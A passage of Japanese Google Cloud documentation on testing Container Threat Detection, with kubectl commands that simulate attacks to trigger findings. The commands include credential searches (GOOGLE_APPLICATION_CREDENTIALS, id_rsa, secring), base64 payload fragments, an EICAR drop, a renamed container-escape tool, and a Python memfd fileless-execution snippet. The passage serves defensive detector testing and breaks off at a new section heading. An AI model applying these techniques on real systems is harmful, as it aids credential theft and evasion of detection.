Container Threat Detection のテスト

このページでは、検出機能を意図的にトリガーして検出結果をチェックすることで、Container Threat Detection の動作を確認する方法について説明します。Container Threat Detection は、Security Command Center のプレミアム ティアとエンタープライズ ティアの組み込みサービスです。Container Threat Detection の検出結果を表示するには、Security Command Center のサービスの設定で有効にする必要があります。

始める前に

コンテナに対する潜在的な脅威を検出するには、サポート対象バージョンの Google Kubernetes Engine(GKE)にクラスタが存在していることを確認する必要があります。詳細については、サポートされている GKE バージョンの使用をご覧ください。

検出機能を有効にする

次の検出機能はデフォルトで無効になっています。

  • Added Binary Executed
  • Added Library Loaded
  • Credential Access: Find Google Cloud Credentials
  • Defense Evasion: Launch Code Compiler Tool In Container
  • Execution: Program Run with Disallowed HTTP Proxy Env
  • Exfiltration: Launch Remote File Copy Tools in Container

これらの検出機能をテストするには、明示的に有効にする必要があります。

  1. 検出機能のステータスを確認します。

    export PROJECT=PROJECT_ID
    gcloud alpha scc settings services describe \
        --service=CONTAINER_THREAT_DETECTION \
        --project=${PROJECT}
    
  2. 検出機能 Added Binary Executed を有効にします。

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_BINARY_EXECUTED \
        --project=${PROJECT}
    
  3. 検出機能 Added Library Loaded を有効にします。

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_LIBRARY_LOADED \
        --project=${PROJECT}
    
  4. 検出機能 Credential Access: Find Google Cloud Credentials を有効にします。

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=FIND_GCP_CREDENTIALS \
        --project=${PROJECT}
    
  5. 検出機能 Execution: Program Run with Disallowed HTTP Proxy Env を有効にします。

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \
        --project=${PROJECT}
    
  6. 検出機能 Exfiltration: Launch Remote File Copy Tools in Container を有効にします。

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \
        --project=${PROJECT}
    
  7. 検出機能 Defense Evasion: Launch Code Compiler Tool In Container を有効にします。

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=LAUNCH_CODE_COMPILER_TOOL_IN_CONTAINER \
        --project=${PROJECT}
    

環境変数を設定する

検出機能をテストするには、 Google Cloud コンソールと Cloud Shell を使用します。Cloud Shell で環境変数を設定すると、コマンドを実行しやすくなります。Container Threat Detection のすべての検出機能をテストするには、次の変数を使用します。

  1. Google Cloud コンソールに移動します。

    Google Cloud コンソールに移動

  2. テストに使用するコンテナが含まれているプロジェクトを選択します。

  3. Cloud Shell をアクティブにする」をクリックします。

  4. Cloud Shell で、環境変数を設定します。

    1. クラスタが配置されているゾーン:

      export ZONE=CLUSTER_ZONE
      
    2. コンテナが含まれているプロジェクト:

      export PROJECT=PROJECT_ID
      
    3. クラスタ名:

      export CLUSTER_NAME=CLUSTER_NAME
      

変数が設定されました。次のセクションでは、Container Threat Detection 検出機能をテストする手順を説明します。

追加されたバイナリの実行

「追加されたバイナリの実行」の検出結果をトリガーするには、コンテナにバイナリをドロップして実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイし、/bin/ls を別の場所にコピーしてから実行しています。イメージが Ubuntu 24.04 のものであっても、バイナリのコピーは元のコンテナ イメージの一部ではありません。コンテナの変更はできないため、このバイナリの実行は想定外の動作となります。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. バイナリをドロップして実行します。

    • x86 ノード:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      
    • ARM ノード:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
          {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
          "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
          "value": "arm64" } ]}}' \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      

Container Threat Detection のロギングを構成している場合は、このテスト手順により「追加されたバイナリの実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

ノイズを軽減するため、コンテナを初めて作成する際に「追加されたバイナリの実行」の検出結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中に追加されたすべてのバイナリ実行の検出結果を表示するには、例のようにコンテナ名または Pod 名の前に ktd-test を付けます。

追加されたライブラリの読み込み

「追加されたライブラリの読み込み」の検出結果をトリガーするには、コンテナにライブラリをドロップして読み込みます。この例では、最新の Ubuntu 24.04 イメージをデプロイし、/lib/x86_64-linux-gnu/libc.so.6 を別の場所にコピーしてから ld を使用して読み込んでいます。Ubuntu 24.04 上のイメージであり、コンテナが変更されていなくても、ライブラリは元のコンテナ イメージの一部ではないため、このライブラリの読み込みは予期しない動作となります。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. ライブラリをドロップして ld を使用して読み込みます。

    • x86 ノード:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
      
    • ARM ノード:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
      

Container Threat Detection のロギングを構成している場合は、このテスト手順により「追加されたバイナリの読み込み」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

ノイズを軽減するため、コンテナを初めて作成する際に「追加されたライブラリの読み込み」の検出結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中に「追加されたすべてのライブラリの読み込み」の検出結果を表示するには、例のようにコンテナ名または Pod 名の前に ktd-test を付けます。

コマンドと制御: Steganography ツールの検出

Command and Control: Steganography Tool Detectedプレビュー)の検出結果をトリガーするには、ステガノグラフィー ツールと一致するファイル操作機能を備えたバイナリがコンテナ内で実行されている必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls をコピーして steghide(または stegano などの別のステガノグラフィー ツール)に名前を変更します。この動作は、悪意のある目的でデータを隠したり抽出するためのコンテナを準備しようとしている可能性があることを示すため、不審な動作としてフラグが設定されます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. steghide などのステガノグラフィー ツール バイナリを実行します。

    • x86 ノード:

      tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/steghide; /tmp/steghide"
      
    • ARM ノード:

      tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/steghide; /tmp/steghide"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により Command and Control: Steganography Tool Detected の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

認証情報アクセス: Google Cloud 認証情報の検索

Credential Access: Find Google Cloud Credentials の検出結果をトリガーするには、ファイルの内容を検索できるバイナリをコンテナ内で実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls をコピーして、名前を grep に変更します。名前が変更されたバイナリを、 Google Cloud 認証情報の形式を示す検索パターンを指定する引数を使用して実行します。このアクションは、 Google Cloud 認証情報の検索を試みたときに観測された動作を模倣しているため、不審なアクションとしてフラグが設定されます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 適切な引数を使用して、find などの検索ツールバイナリを実行します。

    • x86 ノード:

      tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
      
    • ARM ノード:

      tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により Credential Access: Find Google Cloud Credentials の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

認証情報アクセス: GPG キーの偵察

Credential Access: GPG Key Reconnaissance の検出結果をトリガーするには、ファイルの内容を検索できるバイナリをコンテナ内で実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls をコピーして find(または grep などの別の適切な検索ユーティリティ)に名前を変更します。名前を変更したバイナリを、秘密鍵やパスワードを示す検索パターン、またはパスワードやシークレットを示唆するコンテンツ パターンを指定する引数を使用して実行します。このアクションは、GPG セキュリティ キーの検索を試みたときに観察された動作を模倣しているため、不審なアクションとしてフラグが設定されます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 適切な引数を使用して、find などの検索ツールバイナリを実行します。

    • x86 ノード:

      tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find secring"
      
    • ARM ノード:

      tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find secring"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により Credential Access: GPG Key Reconnaissance の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

認証情報アクセス: 秘密鍵またはパスワードの検索

Credential Access: Search Private Keys or Passwords の検出結果をトリガーするには、ファイルの内容を検索できるバイナリをコンテナ内で実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls をコピーして find(または grep などの別の適切な検索ユーティリティ)に名前を変更します。名前を変更したバイナリを、秘密鍵やパスワードを示す検索パターン、またはパスワードやシークレットを示唆するコンテンツ パターンを指定する引数を使用して実行します。このアクションは、コンテナ化された環境内で秘密鍵やパスワードなどの機密情報を特定しようとしたときに観測された動作を模倣しているため、不審なアクションとしてフラグが設定されます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 適切な引数を使用して、find などの検索ツールバイナリを実行します。

    • x86 ノード:

      tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      
    • ARM ノード:

      tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により Credential Access: Search Private Keys or Passwords の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

防御回避: Base64 ELF ファイルのコマンドライン

Defense Evasion: Base64 ELF File Command Line の検出結果をトリガーするには、プロセスに引数として base64f0VMRgIBELF の base64 エンコード形式)が必要です。この例では、最新の Ubuntu 24.04 イメージを使用します。base64 を、-d 引数と f0VMRgIB 引数を指定して実行します。このアクションは、バイナリデータをデコードして悪意のあるコードを実行しようとしたときに観察された動作を模倣しているため、不審なアクションとしてフラグが設定されます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 適切な引数を使用して、find などの検索ツールバイナリを実行します。

    • x86 ノード:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "base64 -d f0VMRgIB"
      
    • ARM ノード:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "base64 -d f0VMRgIB"
      

Container Threat Detection のロギングを構成している場合は、このテスト手順により、2 つの Defense Evasion: Base64 ELF File Command Line の検出結果が作成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。最初の bash -c コマンドと base64 -d コマンドの実行が検出結果の条件を満たしているため、2 つの検出結果が生成されます。

防御回避: Base64 でエンコードされた Python スクリプトの実行

Defense Evasion: Base64 Encoded Python Script Executed の検出結果をトリガーするには、プロセスが引数として echo または base64 を使用している必要があります。また、引数として aW1wb3J0IHpython -c の base64 でエンコードされた形式)を使用している必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。次に、aW1wb3J0IH 引数を指定して echo を実行します。このアクションは、バイナリデータをデコードして悪意のあるコードを実行しようとしたときに観察された動作を模倣しているため、不審なアクションとしてフラグが設定されます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 適切な引数を使用して、find などの検索ツールバイナリを実行します。

    • x86 ノード:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "echo aW1wb3J0IH"
      
    • ARM ノード:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "echo aW1wb3J0IH"
      

Container Threat Detection のロギングを構成している場合は、このテスト手順により Defense Evasion: Base64 Encoded Python Script Executed の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

防御回避: Base64 でエンコードされたシェル スクリプトの実行

Defense Evasion: Base64 Encoded Shell Script Executed の検出結果をトリガーするには、プロセスが引数として echo または base64 を使用している必要があります。また、引数として IyEvYmluL2Jhc2gK#!/bin/bash の base64 でエンコードされた形式)を使用している必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。次に、IyEvYmluL2Jhc2gK 引数を指定して echo を実行します。このアクションは、バイナリデータをデコードして悪意のあるコードを実行しようとしたときに観察された動作を模倣しているため、不審なアクションとしてフラグが設定されます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 適切な引数を使用して、find などの検索ツールバイナリを実行します。

    • x86 ノード:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "echo IyEvYmluL2Jhc2gK"
      
    • ARM ノード:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "echo IyEvYmluL2Jhc2gK"
      

Container Threat Detection のロギングを構成している場合は、このテスト手順により Defense Evasion: Base64 Encoded Shell Script Executed の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

防御回避: コンテナでのコード コンパイラ ツールの起動

Defense Evasion: Launch Code Compiler Tool In Containerプレビュー)の検出結果をトリガーするには、コンテナ内でコード コンパイラ ツールを実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls をコピーして gcc10(または clang などの別のコンパイラ)に名前を変更します。この動作は、コンテナ内で悪意のあるコードをコンパイルして実行し、検出を回避したり、その動作を変更する試みを示す可能性があるため、不審な動作としてフラグが設定されます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 適切な引数を指定して、gcc10 などのコンパイラ バイナリを実行します。

    • x86 ノード:

      tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
      
    • ARM ノード:

      tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により Defense Evasion: Launch Code Compiler Tool In Container の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

実行: 追加された悪意のあるバイナリの実行

「実行: 追加された悪意のあるバイナリの実行」の検出結果をトリガーするには、コンテナに悪意のあるバイナリをドロップして実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイし、シミュレートされた悪意のあるファイルを作成して実行します。シミュレートされた悪意のあるバイナリが元のコンテナ イメージの一部ではなく、このバイナリが EICAR テストファイルであり、脅威インテリジェンスから悪質と分類されたファイルであるため、このバイナリの実行は想定外の動作となります。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. EICAR バイナリをドロップして実行します。

    • x86 ノード:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      
    • ARM ノード:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      

Container Threat Detection のロギングを構成している場合は、このテスト手順により「実行: 追加されたバイナリの実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

ノイズを軽減するため、コンテナを初めて作成する際に、「追加されたバイナリの実行」の検出結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中に「実行: 追加されたイナリ実行」の検出結果をすべて表示するには、例のようにコンテナ名または Pod 名の前に ktd-test を付けます。

実行: コンテナ エスケープ

「実行: コンテナ エスケープ」の検出結果をトリガーするには、コンテナにバイナリを配置して実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイします。/bin/ls を別の場所にコピーして、疑わしいツール(botb-linux-amd64)の名前に変更し、追加の引数を指定して実行します。この実行は、コンテナ エスケープの試みと一致する動作をシミュレートするため、不審と見なされます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. botb-linux-amd64 などのコンテナ エクスプロイト ツール バイナリをドロップして実行します。

    • x86 ノード:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
      
    • ARM ノード:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
      

Container Threat Detection のロギングを構成している場合は、このテスト手順により「実行: 追加されたバイナリの読み込み」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

実行: /memfd: でのファイルレス実行

Execution: Fileless Execution in /memfd: 検出結果をトリガーするには、/memfd: インメモリ ファイル システムからプロセスを実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls ユーティリティを、/memfd: の匿名ファイルにコピーします。コピーしたバイナリを実行します。/memfd: でのバイナリの実行は、ファイルベースの検出を回避するためにメモリ内で実行しようとするオブジェクトの動作を模倣しているため、不審なものとしてフラグが設定されます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 特権コンテナを作成し、bash を開いてコマンドを実行します。

    • x86 ノード:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/python:latest \
         "$tag" -- python -c "import os,sys,time
      
      time.sleep(10)
      f = open("/bin/ls",'rb')
      execdata = f.read()
      f.close()
      fd = os.memfd_create("", 0)
      fname = "/proc/self/fd/{}".format(fd)
      f = open(fname,'wb')
      f.write(execdata)
      f.close()
      args = ["/bin"]
      os.execve(fname, args, os.environ)"
      
    • ARM ノード:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:3-buster \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- python -c "import os,sys,time
      
      time.sleep(10)
      f = open("/bin/ls",'rb')
      execdata = f.read()
      f.close()
      fd = os.memfd_create("", 0)
      fname = "/proc/self/fd/{}".format(fd)
      f = open(fname,'wb')
      f.write(execdata)
      f.close()
      args = ["/bin"]
      os.execve(fname, args, os.environ)"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により Execution: Fileless Execution in /memfd: の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

実行: Ingress Nightmare 脆弱性の実行

